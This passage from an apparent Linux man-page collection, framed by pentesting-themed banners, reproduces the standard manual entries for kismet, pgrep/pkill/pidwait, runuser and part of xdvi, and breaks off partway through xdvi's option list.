              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

712 - Linux cli command kismet

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kismet and provides detailed information about the command kismet, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kismet.

NAME 🖥️ kismet 🖥️

wireless sniffer and monitor

SYNOPSIS

kismet [OPTION]

DESCRIPTION

Nearly all of these options are run-time overrides for values in the kismet.conf configuration file. Permanent changes should be made to the configuration file.

GENERIC OPTIONS

-v, –version Show version

–no-console-wrapper
Disable server console wrapper

–no-ncurses-wrapper
Disable server console wrapper

–debug
Disable the console wrapper and the crash handling functions, for debugging

-f, –config-file <file>
Use alternate configuration file

–no-line-wrap
Turn of linewrapping of output (for grep, speed, etc)

-s, –silent
Turn off stdout output after setup phase

–daemonize
Spawn detached in the background

–no-plugins
Do not load plugins

–homedir <path>
Use an alternate path as the home directory instead of the user entry

–confdir <path>
Use an alternate path as the base config directory instead of the default set at compile time

–datadir <path>
Use an alternate path as the data directory instead of the default set at compile time.

LOGGING OPTIONS

-T, –log-types <types> Override activated log types
-t, –log-title <title> Override default log title: -p, –log-prefix <prefix> Directory to store log files
-n, –no-logging Disable logging entirely

DEVICE TRACKING OPTIONS

–device-timeout=n
Expire devices after N seconds

SEE ALSO

The full documentation for Kismet is maintained in a separate package kismet-docs. More information here: https://www.kismetwireless.net/docs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

713 - Linux cli command pidwait

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pidwait and provides detailed information about the command pidwait, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pidwait.

NAME 🖥️ pidwait 🖥️

look up, signal, or wait for processes based on name and other attributes

SYNOPSIS

pgrep [options] pattern
pkill [options] pattern
pidwait [options] pattern

DESCRIPTION

pgrep looks through the currently running processes and lists the process IDs which match the selection criteria to stdout. All the criteria have to match. For example,

$ pgrep -u root sshd

will only list the processes called sshd AND owned by root. On the other hand,

$ pgrep -u root,daemon

will list the processes owned by root OR daemon.

pkill will send the specified signal (by default SIGTERM) to each process instead of listing them on stdout.

pidwait will wait for each process instead of listing them on stdout.

OPTIONS

**-**signal
–signal signal
Defines the signal to send to each matched process. Either the numeric or the symbolic signal name can be used. In pgrep or pidwait mode only the long option can be used and has no effect unless used in conjunction with –require-handler to filter to processes with a userspace signal handler present for a particular signal.

-c, –count
Suppress normal output; instead print a count of matching processes. When count does not match anything, e.g. returns zero, the command will return non-zero value. Note that for pkill and pidwait, the count is the number of matching processes, not the processes that were successfully signaled or waited for.

-d, –delimiter delimiter
Sets the string used to delimit each process ID in the output (by default a newline). (pgrep only.)

-e, –echo
Display name and PID of the process being killed. (pkill only.)

-f, –full
The pattern is normally only matched against the process name. When -f is set, the full command line is used.

-g, –pgroup pgrp,…
Only match processes in the process group IDs listed. Process group 0 is translated into pgrep’s, pkill’s, or pidwait’s own process group.

-G, –group gid,…
Only match processes whose real group ID is listed. Either the numerical or symbolical value may be used.

-i, –ignore-case
Match processes case-insensitively.

-l, –list-name
List the process name as well as the process ID. (pgrep only.)

-a, –list-full
List the full command line as well as the process ID. (pgrep only.)

-n, –newest
Select only the newest (most recently started) of the matching processes.

-o, –oldest
Select only the oldest (least recently started) of the matching processes.

-O, –older secs
Select processes older than secs.

-P, –parent ppid,…
Only match processes whose parent process ID is listed.

-s, –session sid,…
Only match processes whose process session ID is listed. Session ID 0 is translated into pgrep’s, pkill’s, or pidwait’s own session ID.

-t, –terminal term,…
Only match processes whose controlling terminal is listed. The terminal name should be specified without the “/dev/” prefix.

-u, –euid euid,…
Only match processes whose effective user ID is listed. Either the numerical or symbolical value may be used.

-U, –uid uid,…
Only match processes whose real user ID is listed. Either the numerical or symbolical value may be used.

-v, –inverse
Negates the matching. This option is usually used in pgrep’s or pidwait’s context. In pkill’s context the short option is disabled to avoid accidental usage of the option.

-w, –lightweight
Shows all thread ids instead of pids in pgrep’s or pidwait’s context. In pkill’s context this option is disabled.

-x, –exact
Only match processes whose names (or command lines if -f is specified) exactly match the pattern.

-F, –pidfile file
Read PIDs from file. This option is more useful for pkill or pidwait than pgrep.

-L, –logpidfile
Fail if pidfile (see -F) not locked.

-r, –runstates D,R,S,Z,
Match only processes which match the process state.

-A, –ignore-ancestors
Ignore all ancestors of pgrep, pkill, or pidwait. For example, this can be useful when elevating with sudo or similar tools.

-H, –require-handler
Only match processes with a userspace signal handler present for the signal to be sent.

–cgroup name**,…**
Match on provided control group (cgroup) v2 name. See cgroups(8)

–ns pid
Match processes that belong to the same namespaces. Required to run as root to match processes from other users. See –nslist for how to limit which namespaces to match.

–nslist name**,…**
Match only the provided namespaces. Available namespaces: ipc, mnt, net, pid, user, uts.

-q, –queue value
Use sigqueue(3) rather than kill(2) and the value argument is used to specify an integer to be sent with the signal. If the receiving process has installed a handler for this signal using the SA_SIGINFO flag to sigaction(2), then it can obtain this data via the si_value field of the siginfo_t structure.

-V, –version
Display version information and exit.

-h, –help
Display help and exit.

OPERANDS

pattern
Specifies an Extended Regular Expression for matching against the process names or command lines.

EXAMPLES

Example 1: Find the process ID of the named daemon:

$ pgrep -u root named

Example 2: Make syslog reread its configuration file:

$ pkill -HUP syslogd

Example 3: Give detailed information on all xterm processes:

$ ps -fp $(pgrep -d, -x xterm)

Example 4: Make all chrome processes run nicer:

$ renice +4 $(pgrep chrome)

EXIT STATUS

0
One or more processes matched the criteria. For pkill and pidwait, one or more processes must also have been successfully signalled or waited for.

1
No processes matched or none of them could be signalled.

2
Syntax error in the command line.

3
Fatal error: out of memory etc.

NOTES

The process name used for matching is limited to the 15 characters present in the output of /proc/pid/stat. Use the -f option to match against the complete command line, /proc/pid/cmdline. Threads may not have the same process name as the parent process but will have the same command line.

The running pgrep, pkill, or pidwait process will never report itself as a match.

The -O –older option will silently fail if /proc is mounted with the subset=pid option.

BUGS

The options -n and -o and -v can not be combined. Let me know if you need to do this.

Defunct processes are reported.

pidwait requires the pidfd_open(2) system call which first appeared in Linux 5.3.

SEE ALSO

ps(1), regex(7), signal(7), sigqueue(3), killall(1), skill(1), kill(1), kill(2), cgroups(8).

AUTHOR

Kjetil Torgrim Homme

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

714 - Linux cli command runuser

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command runuser and provides detailed information about the command runuser, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the runuser.

NAME 🖥️ runuser 🖥️

run a command with substitute user and group ID

SYNOPSIS

runuser [options] -u user [[–] command [argument…]]

runuser [options] [-] [user [argument…]]

DESCRIPTION

runuser can be used to run commands with a substitute user and group ID. If the option -u is not given, runuser falls back to su-compatible semantics and a shell is executed. The difference between the commands runuser and su is that runuser does not ask for a password (because it may be executed by the root user only) and it uses a different PAM configuration. The command runuser does not have to be installed with set-user-ID permissions.

If the PAM session is not required, then the recommended solution is to use the setpriv(1) command.

When called without arguments, runuser defaults to running an interactive shell as root.

For backward compatibility, runuser defaults to not changing the current directory and to setting only the environment variables HOME and SHELL (plus USER and LOGNAME if the target user is not root). This version of runuser uses PAM for session management.

Note that runuser in all cases use PAM (pam_getenvlist()) to do the final environment modification. Command-line options such as –login and –preserve-environment affect the environment before it is modified by PAM.

Since version 2.38 runuser resets process resource limits RLIMIT_NICE, RLIMIT_RTPRIO, RLIMIT_FSIZE, RLIMIT_AS and RLIMIT_NOFILE.

OPTIONS

-c, –command=command

Pass command to the shell with the -c option.

-f, –fast

Pass -f to the shell, which may or may not be useful, depending on the shell.

-g, –group=group

The primary group to be used. This option is allowed for the root user only.

-G, –supp-group=group

Specify a supplementary group. This option is available to the root user only. The first specified supplementary group is also used as a primary group if the option –group is not specified.

-, -l, –login

Start the shell as a login shell with an environment similar to a real login:

·

clears all the environment variables except for TERM and variables specified by –whitelist-environment

·

initializes the environment variables HOME, SHELL, USER, LOGNAME, and PATH

·

changes to the target user’s home directory

·

sets argv[0] of the shell to - in order to make the shell a login shell

-m, -p, –preserve-environment

Preserve the entire environment, i.e., do not set HOME, SHELL, USER or LOGNAME. The option is ignored if the option –login is specified.

-P, –pty

Create a pseudo-terminal for the session. The independent terminal provides better security as the user does not share a terminal with the original session. This can be used to avoid TIOCSTI ioctl terminal injection and other security attacks against terminal file descriptors. The entire session can also be moved to the background (e.g., runuser –pty -u username command &). If the pseudo-terminal is enabled, then runuser works as a proxy between the sessions (sync stdin and stdout).

This feature is mostly designed for interactive sessions. If the standard input is not a terminal, but for example a pipe (e.g., echo “date” | runuser –pty -u user), then the ECHO flag for the pseudo-terminal is disabled to avoid messy output.

-s, –shell=shell

Run the specified shell instead of the default. The shell to run is selected according to the following rules, in order:

·

the shell specified with –shell

·

the shell specified in the environment variable SHELL if the –preserve-environment option is used

·

the shell listed in the passwd entry of the target user

·

/bin/sh

If the target user has a restricted shell (i.e., not listed in /etc/shells), then the –shell option and the SHELL environment variables are ignored unless the calling user is root.

**–session-command=**command

Same as -c, but do not create a new session. (Discouraged.)

-T, –no-pty*

Do not create a pseudo-terminal, opposite of –pty and -P. Note that running without a pseudo-terminal opens the security risk of privilege escalation through TIOCSTI/TIOCLINUX ioctl command injection.

-w, –whitelist-environment=list

Don’t reset the environment variables specified in the comma-separated list when clearing the environment for –login. The whitelist is ignored for the environment variables HOME, SHELL, USER, LOGNAME, and PATH.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

CONFIG FILES

runuser reads the /etc/default/runuser and /etc/login.defs configuration files. The following configuration items are relevant for runuser:

ENV_PATH (string)

Defines the PATH environment variable for a regular user. The default value is /usr/local/bin:/bin:/usr/bin.

ENV_ROOTPATH (string), ENV_SUPATH (string)

Defines the PATH environment variable for root. ENV_SUPATH takes precedence. The default value is /usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.

ALWAYS_SET_PATH (boolean)

If set to yes and –login and –preserve-environment were not specified runuser initializes PATH.

The environment variable PATH may be different on systems where /bin and /sbin are merged into /usr; this variable is also affected by the –login command-line option and the PAM system setting (e.g., pam_env(8)).

EXIT STATUS

runuser normally returns the exit status of the command it executed. If the command was killed by a signal, runuser returns the number of the signal plus 128.

Exit status generated by runuser itself:

1

Generic error before executing the requested command

126

The requested command could not be executed

127

The requested command was not found

FILES

/etc/pam.d/runuser

default PAM configuration file

/etc/pam.d/runuser-l

PAM configuration file if –login is specified

/etc/default/runuser

runuser specific logindef config file

/etc/login.defs

global logindef config file

HISTORY

This runuser command was derived from coreutils su, which was based on an implementation by David MacKenzie, and the Fedora runuser command by Dan Walsh.

SEE ALSO

setpriv(1), su(1), login.defs(5), shells(5), pam(8)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The runuser command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

715 - Linux cli command xdvi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdvi and provides detailed information about the command xdvi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdvi.

NAME 🖥️ xdvi 🖥️

DVI Previewer for the X Window System

SYNOPSIS

xdvi

[+[page]] [–help] [-allowshell] [-altfont font] [-anchorposition anchor] [-bg color] [-browser WWWbrowser] [-copy] [-cr color] [-debug bitmask|string[,string …]] [-display host:display] [-dvipspath path] [-editor command] [-expert] [-expertmode flag] [-fg color] [-findstring string] [-font font] [-fullscreen ] [-gamma g] [-geometry geometry] [-gsalpha] [-gspalette palette] [-h] [-help] [-hl color] [-hush] [-hushbell] [-hushchars] [-hushchecksums] [-hushstdout] [-icongeometry geometry] [-iconic] [-install] [-interpreter path] [-keep] [-l] [-license] [-linkcolor color] [-linkstyle 0|1|2|3] [-margins dimen] [-mfmode mode-def[:dpi]] [-mgs[n] size] [-mousemode 0|1|2] [-nocolor] [-nofork] [-noghostscript] [-nogrey] [-nogssafer] [-noinstall] [-nomakepk] [-nomatchinverted] [-noomega] [-noscan] [-notempfile] [-notype1fonts] [-noxi2scrolling] [-offsets dimen] [-p pixels] [-paper papertype] [-pause] [-pausespecial special-string] [-postscript flag] [-rulecolor color] [-rv] [-S density] [-s shrink] [-safer] [-sidemargin dimen] [-sourceposition line[:col][ ]filename] [-statusline] [-text-encoding encoding] [-thorough] [-topmargin dimen] [-unique] [-version] [-visitedlinkcolor color] [-warnspecials] [-watchfile secs] [-wheelunit pixels] [-xoffset dimen] [-yoffset dimen] [dvi_file]

DESCRIPTION

Xdvi is a program for previewing dvi files, as produced e.g. by the tex(1) program, under the X window system.

Xdvi can show the file shrunken by various integer factors, and it has a ``magnifying glass’’ for viewing parts of the page enlarged (see the section MAGNIFIER below). This version of xdvi is also referred to as xdvik since it uses the kpathsea library to locate and generate font files. In addition to that, it supports the following features:

-
hyperlinks in DVI files (section HYPERLINKS),

-
direct rendering of PostScript<tm> Type 1 fonts (section TYPE 1 FONTS),

-
source specials in the DVI file (section SOURCE SPECIALS),

-
string search in DVI files (section STRING SEARCH),

-
saving or printing (parts of) the DVI file (sections PRINT DIALOG and SAVE DIALOG).

Xdvi can be compiled with the Motif toolkit or the Xaw (Athena) toolkit (and variants of it), and the Motif version has a slightly different GUI; these differences are noted below.

Before displaying a page of a DVI file, xdvi will check to see if the file has changed since the last time it was displayed. If this is the case, it will reload the file. This feature allows you to preview many versions of the same file while running xdvi only once. Since it cannot read partial DVI files, xdvik versions starting from 22.74.3 will create a temporary copy of the DVI file being viewed, to ensure that the file can be viewed without interruptions. (The -notempfile can be used to turn off this feature).

Xdvi can show PostScript<tm> specials by any of three methods. It will try first to use Display PostScript<tm>, then NeWS, then it will try to use Ghostscript to render the images. All of these options depend on additional software to work properly; moreover, some of them may not be compiled into this copy of xdvi.

For performance reasons, xdvi does not render PostScript specials in the magnifying glass.

If no file name has been specified on the command line, xdvi will try to open the most recently opened file; if the file history (accessible via the File > Open Recent menu) is empty, or if none of the files in the history are valid DVI files, it will pop up a file selector for choosing a file name. (In previous versions, which didn’t have a file history, the file selector was always used; you can set the X resource noFileArgUseHistory to false to get back the old behaviour.)

OPTIONS

In addition to specifying the dvi file (with or without the .dvi extension), xdvi supports the following command line options. If the option begins with a `+’ instead of a `-’, the option is restored to its default value. By default, these options can be set via the resource names given in parentheses in the description of each option.

**+**page
Specifies the first page to show. If + is given without a number, the last page is assumed; the first page is the default.

-allowshell
(.allowShell) This option enables the shell escape in PostScript specials. (For security reasons, shell escapes are disabled by default.) This option should be rarely used; in particular it should not be used just to uncompress files: that function is done automatically if the file name ends in .Z, .gz, or .bz2. Shell escapes are always turned off if the -safer option is used.

-altfont* font*
(.altFont) Declares a default font to use when the font in the dvi file cannot be found. This is useful, for example, with PostScript <tm> fonts.

-anchorposition* anchor*
Jump to anchor after opening the DVI file. This is only useful when invoking xdvi from other applications.

-background* color*
(.background) Determines the color of the background. Same as -bg.

-bg* color*
(.background) Determines the color of the background.

-browser* browser*
(.wwwBrowser) Defines the web browser used for handling external URLs. The value of this option or resource has the same syntax as the BROWSER environment variable; see the explanation of that variable in the section `ENVIRONMENT’ below for a detailed description. If neither the option nor the X resource wwwBrowser is specified, the environment variables BROWSER and WWWBROWSER (in that order) are used to determine the browser command. If these are not set either, the following default value is used: xdg-open %s:htmlview %s:firefox -remote -remote “openURL(%s,new-window)":mozilla -remote “openURL(%s,new-window)":netscape -raise -remote “openURL(%s,new-window)":xterm -e w3m %s:xterm -e lynx %s:xterm -e wget %s

-copy
(.copy) Always use the copy operation when writing characters to the display. This option may be necessary for correct operation on a color display, but overstrike characters will be incorrect. If greyscale anti-aliasing is in use, the -copy operation will disable the use of colorplanes and make overstrikes come out incorrectly. See also -thorough.

-cr* color*
(.cursorColor) Determines the color of the mouse cursor. The default is the same as the foreground color.

-debug* bitmask|string[,string …]*
(.debugLevel) If nonzero, prints additional information on standard output. The argument can be either a bitmask specified as a decimal number, or comma-separated list of strings.
For the bitmask representation, multiple values can be specified by adding the numbers that represent the individual bits; e.g. to debug all file searching and opening commands, use 4032 (= 2048 + 1024 + 512 + 256 + 128 + 64). Use -1 to turn on debugging of everything (this will produce huge output).
For the string representation, use the strings listed in the following table, with a comma to separate the values; e.g. to debug all file searching and opening commands, use search,expand,paths,hash,stat,open. (The option `kpathsea’ is provided as a shorthand for these.) Note that such a list may need to be quoted to prevent the shell from interpreting commas or spaces in the list.
The individual numbers and strings have the following meanings:

	1	bitmap	Bitmap creation
	2	dvi	DVI translation
	4	pk	PK fonts
	8	batch	Batch mode: Exit after
			reading the DVI file
	16	event	Event handling
	32	ps	PostScript interpreter calls
	64	stat	Kpathsea stat(2) calls
	128	hash	Kpathsea hash table lookups
	256	open	Kpathsea file opening
	512	paths	Kpathsea path definitions
	1024	expand	Kpathsea path expansion
	2048	search	Kpathsea searching
	4032	kpathsea	All Kpathsea options
	4096	htex	Hypertex specials
	8192	src	Source specials
	16384	client	Client/server mode (see -unique
			and -sourceposition options)
	32768	ft	FreeType library messages (Type 1 fonts)
	65536	ft_verbose	Verbose FreeType library messages (currently unused)
	131072	gui	GUI elements
	262144	find	Searching for strings in the DVI file
	524288	files	File history and opening DVI files

Some of the Kpathsea debugging options are actually provided by Kpathsea; see the Debugging section in the Kpathsea manual for more information on these.

-density* density*
(.densityPercent) Determines the density used when shrinking bitmaps for fonts. A higher value produces a lighter font. The default value is 40. If greyscaling is in use, this argument does not apply; use -gamma instead. See also the `S’ keystroke. Same as -S.

-display* host***:**display
Specifies the host and screen to be used for displaying the dvi file. By default this is obtained from the environment variable DISPLAY.

-dvipspath* path*
(.dvipsPath) Use path as the dvips program to use when printing. The default for this is dvips. The program or script should read the DVI file from standard input, and write the PostScript file to standard output.

-editor* editor*
(.editor) Specifies the editor that will be invoked when the source-special() action is triggered to start a reverse search (by default via Ctrl-Mouse 1). The argument to this option is a format string in which occurrences of ``%f’’ are replaced by the file name, occurrences of ``%l’’ are replaced by the line number within the file, and optional occurrences of ``%c’’ are replaced by the column number within the line.

If neither the option nor the X resource .editor is specified, the following environment variables are checked to determine the editor command: XEDITOR, VISUAL, and EDITOR (in this sequence). If the string is found as the value of the VISUAL or EDITOR environment variables, then ``*xterm -e *’’ is prepended to the string; if the editor is specified by other means, then it must be in the form of a shell command to pop up an X window with an editor in it. If none of these variables is set, a warning message is displayed and the command ``xterm -e vi +%l %f’’ is used.

If no ``%f’’ or ``%l’’ occurs in the string, the missing format strings are appended automatically. (This is for compatibility with other programs when using one of the environment variables).

A new instance of the editor is started each time this command is used; therefore it is preferable to use an editor that can be invoked in `client’ mode to load new files into the same instance. Example settings are:

emacsclient –no-wait
(older Emacsen)

gnuclient -q
(XEmacs and newer Emacsen)

gvim –servername
(VIM v6.0+; the `–servername xdvi’ option will cause gvim to run a dedicated instance for the files opened by xdvi.)

nc
(nedit)

Note that those strings need to be enclosed into quotes when using them on the command-line to protect them from the shell; when using them as argument for the .editor resource in an X resource file, no quotes should be used.

NOTE ON SECURITY: The argument of this option isn’t executed as a shell command, but via exec() to prevent evil tricks with the contents of source specials.

-expert
This option is only supported for backwards compatibility; it is equivalent to -expertmode 0, which should be preferred.

-expertmode* flag*
(.expertMode) With an argument of 0, this option switches off the display of the buttons, scrollbars, the toolbar (Motif only), the statusline and the page list. These GUI elements can also be (de)activated separately, by combining the appropriate values in the flag argument. This acts similar to the -debug option: The integer flag is treated as a bitmap where each bit represents one element. If the bit has the value 1, the element is switched on, if it has the value 0, the element is switched off. The meaning of the bits is as follows:

	1	statusline
	2	scrollbars
	4	Motif: pagelist, Xaw: buttons and pagelist
	8	toolbar (Motif only)
	16	menubar (Motif only)

For example, to turn on only the statusline and the scrollbars, use 3 (= 1 + 2). See also the `x’ keystroke, where the bits are addressed by their positions, from 1 to 3 (Xaw) or 5 (Motif), respectively.

If the statusline is not active, all messages that would normally be printed to the statusline will be printed to stdout, unless the -hushstdout option is used.

-fg* color*
(.foreground) Determines the color of the text (foreground).

-findstring string
This option triggers a search for string in the DVI file mentioned on the command-line, similar to forward search (see the description of the sourceposition option): If there is already another instance of xdvi running on the displaying that DVI file, it will cause that instance to perform the search instead. The search starts at the top of the current page of the DVI file.

-font* font*
(*font) Sets the font used in menus, buttons etc., as described in the X(7x) man page. The font for child windows can be set separately, e.g.:

xdvi*statusline*font: \
   -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*

-foreground* color*
Same as -fg.

-fullscreen
When this option is used, xdvi will (try to) run in fullscreen mode, with no window decorations. This option is not guaranteed to work with all windowmanagers/desktops; if you’re experiencing problems with it, please use the -geometry option instead, and a suitable window manager setting to remove the window decorations. When using this option for presentations, you might want to get rid of all the control widgets as well, using the -expertmode option. This option can also be toggled at runtime using the fullscreen action (by default bound to Ctrl-l).

-gamma* gamma*
(.gamma) Controls the interpolation of colors in the greyscale anti-aliasing color palette. Default value is 1.0. For 0 < gamma < 1, the fonts will be lighter (more like the background), and for gamma > 1, the fonts will be darker (more like the foreground). Negative values behave the same way, but use a slightly different algorithm. For color and grayscale displays; for monochrome, see -density. See also the `S’ keystroke.

-geometry* geometry*
(.geometry) Specifies the initial geometry of the main window, as described in the X(7x) man page. The geometry of child windows can be set separately, e.g.:
xdvi*helpwindow.geometry: 600x800

-gsalpha
(.gsAlpha) Causes Ghostscript to be called with the x11alpha driver instead of the x11 driver. The x11alpha driver enables anti-aliasing in PostScript specials, for a nicer appearance. It is available on newer versions of Ghostscript. This option can also be toggled with the `V’ keystroke.

-gspalette* palette*
(.palette) Specifies the palette to be used when using Ghostscript for rendering PostScript specials. Possible values are Color, Greyscale, and Monochrome. The default is Color.

-h,** -help**,** –help**
Prints a short help text with an overview of the command-line options to standard output.

-hl* color*
(.highlight) Determines the color of the page border, of the ruler in `ruler mode’, and of the highlighting markers in forward search and string search. The default is the foreground color.

-hush
(.Hush) Causes xdvi to suppress all suppressible warnings.

-hushbell
(.hushBell) Don’t sound the X bell when an error occurs.

-hushchars
(.hushLostChars) Causes xdvi to suppress warnings about references to characters which are not defined in the font.

-hushchecksums
(.hushChecksums) Causes xdvi to suppress warnings about checksum mismatches between the dvi file and the font file.

-hushstdout
(.hushStdout) Suppresses printing of status messages to stdout. Note that errors or warnings will still be printed to stderr even if this option is used.

-icongeometry* geometry*
(.iconGeometry) Specifies the initial position for the icon.

-iconic
(.iconic) Causes the xdvi window to start in the iconic state. The default is to start with the window open.

-install
(.install) If xdvi is running under a PseudoColor visual, then (by default) it will check for TrueColor visuals with more bits per pixel, and switch to such a visual if one exists. If no such visual exists, it will use the current visual and colormap. If -install is selected, however, it will still use a TrueColor visual with a greater depth, if one is available; otherwise, it will install its own colormap on the current visual. If the current visual is not PseudoColor, then xdvi will not switch the visual or colormap, regardless of its options. The default value of the install resource is the special value, maybe. There is no +install option. See also -noinstall, and the GREYSCALING AND COLORMAPS section.

-interpreter* filename*
(.interpreter) Use filename as the Ghostscript interpreter. By default it uses gs.

-keep
(.keepPosition) Sets a flag to indicate that xdvi should not move to the home position when moving to a new page. See also the `k’ keystroke. This flag is honored by all page switching actions and by up-or-previous() / down-or-next(), although the latter only honor the horizontal position, not the vertical one. This allows for a “continuous” scrolling back an forth through a document with a display window narrower than a page width.

-l
(.listFonts) List the names of all fonts used.

-license
Prints licensing information.

-linkcolor
(.linkColor) Color used for unvisited hyperlinks (`Blue2’ by default). Hyperlinks are unvisited before you click on them, or after the DVI file has been reloaded. The value should be either a valid X color name (such as DarkGoldenrod4) or a hexadecimal color string (such as #8b6508). See also -visitedlinkcolor and -linkstyle.

-linkstyle
(.LinkStyle) Determines the style in which hyperlinks are displayed. Possible values and their meanings are:

	0	No highlighting of links
	1	Underline links with link color
	2	No underlining, color text with link color
	3	Underline and display text colored with
		link color

The values for link color are specified by the options/resources -linkcolor and -visitedlinkcolor (which see).

-margins* dimen*
(.Margin) Specifies the size of both the top margin and side margin. This determines the ``home’’ position of the page within the window as follows. If the entire page fits in the window, then the margin settings are ignored. If, even after removing the margins from the left, right, top, and bottom, the page still cannot fit in the window, then the page is put in the window such that the top and left margins are hidden, and presumably the upper left-hand corner of the text on the page will be in the upper left-hand corner of the window. Otherwise, the text is centered in the window. The dimension should be a decimal number optionally followed by any of the two-letter abbreviations for units accepted by TeX (pt, pc, in, bp, cm, mm, dd, cc, or sp). By default, the unit will be cm (centimeters). See also -sidemargin, -topmargin, and the keystroke `M.'

-mfmode* mode-def*
(.mfMode) Specifies a mode-def string, which can be used in searching for fonts (see ENVIRONMENT, below). Generally, when changing the mode-def, it is also necessary to change the font size to the appropriate value for that mode. This is done by adding a colon and the value in dots per inch; for example, -mfmode ljfour:600. This method overrides any value given by the pixelsPerInch resource or the -p command-line argument. The metafont mode is also passed to metafont during automatic creation of fonts. By default, it is unspecified.

-mgs* size*
Same as -mgs1.

-mgs[n]* size*
(.magnifierSize[n]) Specifies the size of the window to be used for the ``magnifying glass’’ for Button n. The size may be given as an integer (indicating that the magnifying glass is to be square), or it may be given in the form widthxheight. See the MOUSE ACTIONS section. Defaults are 200x150, 400x250, 700x500, 1000x800, and 1200x1200.

-mousemode* [0|1|2]
(
.mouseMode*) Specifies the default mode of xdvi at startup: Magnifier (0), Text Selection Mode (1) or Ruler Mode (2). See the section MODES, below, for more information.

-nocolor
(.color) Turns off the use of color specials. This option can be toggled with the `C’ keystroke. (Note: -nocolor corresponds to color:off; +nocolor to color:on.)

-nofork
